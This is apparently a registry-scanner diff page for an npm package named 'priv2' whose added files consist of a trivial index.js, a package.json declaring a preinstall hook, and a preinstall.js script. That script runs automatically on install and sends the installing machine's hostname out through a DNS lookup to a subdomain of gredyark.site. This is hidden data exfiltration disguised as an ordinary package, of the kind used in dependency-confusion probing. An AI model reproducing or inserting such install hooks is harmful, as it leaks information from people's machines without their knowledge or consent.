priv2 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +13 -0
  3. package/preinstall.js +12 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log('test');
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "priv2",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "main": "index.js",
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
13
+ }
package/preinstall.js ADDED
@@ -0,0 +1,12 @@
1
+ const dns = require('dns');
2
+
3
+ const hostname = encodeURIComponent(require('os').hostname());
4
+ const domain = `${hostname}.cnb.gredyark.site`;
5
+
6
+ dns.lookup(domain, (err, address, family) => {
7
+ if (err) {
8
+ console.error('Failed');
9
+ } else {
10
+ console.log('Successful');
11
+ }
12
+ });